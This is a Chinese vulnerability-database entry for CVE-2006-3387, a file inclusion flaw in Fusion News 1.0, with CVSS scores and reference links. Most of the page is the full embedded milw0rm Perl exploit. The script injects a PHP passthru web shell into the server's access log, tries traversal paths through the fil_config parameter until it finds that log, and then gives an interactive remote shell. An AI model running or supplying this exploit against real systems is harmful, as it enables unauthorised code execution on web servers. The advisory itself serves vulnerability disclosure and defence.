CVE-2006-3387
CVSS5.1
发布时间 :2006-07-06 16:05:00
修订时间 :2011-03-07 21:38:31
NMCOE    

[原文]Directory traversal vulnerability in sources/post.php in Fusion News 1.0, when register_globals is enabled, allows remote attackers to include arbitrary files via a .. (dot dot) sequence in the fil_config parameter, which can be used to execute PHP code that has been injected into a log file.


[CNNVD]Fusion News 'post.ph'目录遍历漏洞(CNNVD-200607-040)

        Fusion News 1.0中的sources/post.php 存在目录遍历漏洞。当register_globals启用时,远程攻击者可以借助可用于执行已注入日志文件中的PHP代码的,fil_config参数(该参数中包含..)序列,包含任意文件。

- CVSS (基础分值)

CVSS分值: 5.1 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: HIGH [漏洞利用存在特定的访问条件]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3387
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-3387
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200607-040
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/xforce/xfdb/26619
(UNKNOWN)  XF  fusionnews-post-file-include(26619)
http://milw0rm.com/exploits/1812
(UNKNOWN)  MILW0RM  1812

- 漏洞信息

Fusion News 'post.ph'目录遍历漏洞
中危 路径遍历
2006-07-06 00:00:00 2006-07-10 00:00:00
远程  
        Fusion News 1.0中的sources/post.php 存在目录遍历漏洞。当register_globals启用时,远程攻击者可以借助可用于执行已注入日志文件中的PHP代码的,fil_config参数(该参数中包含..)序列,包含任意文件。

- 公告与补丁

        暂无数据

- 漏洞信息 (1812)

Fusion News v.1.0 (fil_config) Remote File Inclusion Exploit (EDBID:1812)
php webapps
2006-05-21 Verified
0 X0r_1
N/A [点击下载]
#!/usr/bin/perl
use IO::Socket;

####################################################################################
#                                                                                  #
# Exploit coded by: X0r_1    						           #
# Bug found by:     X0r_1							   #						  
# release: 21.05.06     							   #
# 										   #
# vulnerable code in sources\post.php at lines 32-35:				   #
#----------------------------------------------------------------------------------#
#...  										   #	
#  global $VARS, $TEMPLATE, $fil_lang, $fil_config, $url_fs, $url_smil, $url_bbco; #
#  include     ($fil_config); 							   #	
#  include     ("./sources/js.db.php");   					   #	
#... 									 	   #	
#----------------------------------------------------------------------------------#
# if register_globals = On you can overwrite the var $fil_config !    		   #	
####################################################################################

print "==========================================================================\r\n";
print "|            Fusion News v.1.0 Remote File Inclusion Exploit             |\r\n";
print "|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|\r\n";  
print "|  Bug found and exploit coded by: X0r_1                                 |\r\n";   
print "|  works just with register_globals = On                                 |\r\n";       
print "==========================================================================\r\n\n\n";


###############################################################################
## !!! Ziel $server und $path von Fusion News müssen eingetragen werden !!!  ##
###############################################################################
$server = "127.0.0.1";
$path   = "/news/";
###############################################################################

$code  = "<?php ob_clean();echo _StaRt_;passthru(\$_GET[cmd]);echo _EnD_;die; ?>";



sub urlEncode 
{
    my ($string) = @_;
    $string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
    #$string# =~ tr/.//;
    return $string;
}


sub inject
{
  $log = "no";

  print "[#]  Verbindung wird hergestellt . . .  \n";

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$server, Timeout  => 10, PeerPort=>"http(80)")
        or die "\n[X]  es konnte keine Verbindung hergestellt werden ! \n";

  print "[#]  Verbindung hergestellt !  \n";
  print "[#]  PHP Code wird in die Log Files Injected . . .  \n";

  print $sock "GET ".$path." ".$code." HTTP/1.1\r\n";
  print $sock "Host: ".$server."\r\n";
  print $sock "Connection: close\r\n\r\n";

  print "[#]  PHP Code in Log File Injected !  \n\n";
  print "[#]  Suche nach Log File Pfad \n";

# Hier können noch mehr mögliche Pfade zu den Server logs eingetragen werden !
#
@path= (
"../../../../../../../../../../apache/logs/access.log",
"../../../../../../../../../apache/logs/access.log",
"../../../../../../../../apache/logs/access.log",
"../../../../../../../apache/logs/access.log",
"../../../../../../apache/logs/access.log",
"../../../../../apache/logs/access.log",
"../../../../apache/logs/access.log",
"../../../apache/logs/access.log",
"../../apache/logs/access.log",
"../apache/logs/access.log",
"../../../../../../../../../logs/access.log",
"../../../../../../../../logs/access.log",
"../../../../../../../logs/access.log",
"../../../../../../logs/access.log",
"../../../../../logs/access.log",
"../../../../logs/access.log",
"../../../logs/access.log",
"../../logs/access.log",
"../logs/access.log",

);



for ($i=0; $i<=$#path; $i++)
  {
 
print "   [+] Versuche ".$path[$i]."\n";

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$server, Timeout  => 10, PeerPort=>"http(80)")
        or die "\n[X]  es konnte keine Verbindung hergestellt werden ! \n";

  print $sock "GET ".$path."sources/post.php?fil_config=".$path[$i]."&cmd=echo%20startnow HTTP/1.1\r\n";
  print $sock "Host: ".$server."\r\n";
  print $sock "Connection: close\r\n\r\n";

$out = "";

    while ($answer = <$sock>) 
    {
    $out.=$answer;
    }
    close($sock);


if ($out =~ m/_StaRt_(.*?)_EnD_/ms)
  {
  print "\n[#] Log File Pfad gefunden ! \n\n";
  print "==========================================================================\n\n\n";
  $log = $i;
  $i = $#path

  } 
  }

if ($log eq "no")
  { print "\n\n[X] Log File Pfad konnte nicht gefunden werden ! \n\n"; exit;}

}




sub exploit
{


$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$server, Timeout  => 10, PeerPort=>"http(80)")
        or die "\n[X]  es konnte keine Verbindung hergestellt werden ! \n";

  print $sock "GET ".$path."sources/post.php?fil_config=".$path[$log]."&cmd=".&urlEncode($cmd)." HTTP/1.1\r\n";
  print $sock "Host: ".$server."\r\n";
  print $sock "Connection: close\r\n\r\n";
 

 while ($answer = <$sock>) 
{
 $v .= $answer;
}
  close($sock);

          
if ($v =~ m/_StaRt_(.*?)_EnD_/ms)
  {
   print "\n\n$1\n\n";
  }


$answer = "";
     $v = "";

&getcmd;
}




sub getcmd
{

print "\$Shell > ";
$cmd = "";
$cmd = <STDIN>;
     chop($cmd);

if (!$cmd)
 {
 print "\n>> [  Bitte geben Sie einen Befehl ein ! ]\n\n";
 &getcmd;
 }

elsif ($cmd eq "exit")
 {
 exit;
 }


&exploit
}



  &inject;
  &getcmd;

# milw0rm.com [2006-05-21]
		

- 漏洞信息

34450
Fusion News sources/post.php fil_config Parameter Traversal Local File Inclusion
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2006-05-21 Unknow
2006-05-21 Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站